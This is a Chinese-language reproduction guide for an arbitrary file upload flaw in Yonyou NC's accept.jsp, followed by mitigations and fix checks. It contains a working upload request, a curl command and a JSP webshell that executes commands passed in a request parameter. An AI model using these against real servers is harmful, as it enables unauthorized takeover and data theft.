漏洞复现--用友NC accept.jsp任意文件上传
字数 1015 2025-08-10 08:28:00
用友NC accept.jsp任意文件上传漏洞复现与分析
漏洞概述
用友NC系统中的accept.jsp文件存在任意文件上传漏洞,攻击者可以利用该漏洞在未授权的情况下上传恶意文件到服务器,进而获取系统控制权限。
漏洞影响版本
根据FreeBuf文章,该漏洞影响以下版本:
- 用友NC 6.5及之前版本
- 其他可能存在
accept.jsp文件的用友NC版本
漏洞原理
accept.jsp文件位于用友NC系统的/uapjs/目录下,未对上传文件进行充分的安全检查,导致攻击者可以绕过常规的文件上传限制,上传任意文件(包括JSP、PHP等可执行脚本文件)到服务器。
漏洞复现步骤
1. 环境准备
- 搭建或获取存在漏洞的用友NC系统环境
- 准备攻击机(Kali Linux或其他渗透测试系统)
- 准备Web请求工具(Burp Suite、Postman或cURL)
2. 漏洞验证
访问以下URL验证漏洞是否存在:
http://[target]/uapjs/accept.jsp
如果返回空白页面或特定响应,则可能存在漏洞。
3. 构造恶意请求
使用以下方法构造上传请求:
方法一:直接上传
POST /uapjs/accept.jsp HTTP/1.1
Host: [target]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream
<% out.println("Hello, Vuln!"); %>
------WebKitFormBoundaryABC123--
方法二:使用cURL命令
curl -X POST -F "file=@shell.jsp" http://[target]/uapjs/accept.jsp
4. 上传文件位置
成功上传的文件通常位于以下路径之一:
/uapjs/upload//uapjs/目录下- 其他可访问的Web目录
5. 访问上传文件
访问上传的恶意文件验证是否成功:
http://[target]/uapjs/upload/test.jsp
漏洞利用进阶
1. 上传WebShell
可以上传更复杂的JSP WebShell,如:
<%@ page import="java.util.*,java.io.*"%>
<%
if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while(disr != null) {
out.println(disr);
disr = dis.readLine();
}
}
%>
2. 权限提升
通过WebShell可以:
- 查看服务器文件系统
- 执行系统命令
- 获取数据库连接信息
- 横向移动攻击内网其他系统
防御措施
1. 临时解决方案
- 删除或重命名
/uapjs/accept.jsp文件 - 在Web服务器配置中限制对
/uapjs/目录的访问
2. 长期解决方案
- 升级到用友NC最新版本
- 实施Web应用防火墙(WAF)规则,拦截可疑的上传请求
- 定期进行安全审计和漏洞扫描
3. 安全配置建议
- 限制JSP文件上传和执行权限
- 实施文件上传白名单机制
- 对上传文件进行内容检查和重命名
漏洞修复验证
修复后应验证:
- 直接访问
accept.jsp应返回错误或空白 - 尝试上传文件应被拒绝或无法执行
- 检查服务器日志中是否有相关攻击尝试
法律声明
本技术文档仅用于教育目的和安全研究,未经授权对他人系统进行测试或攻击是违法行为。在实际环境中进行测试前,请确保已获得系统所有者的明确授权。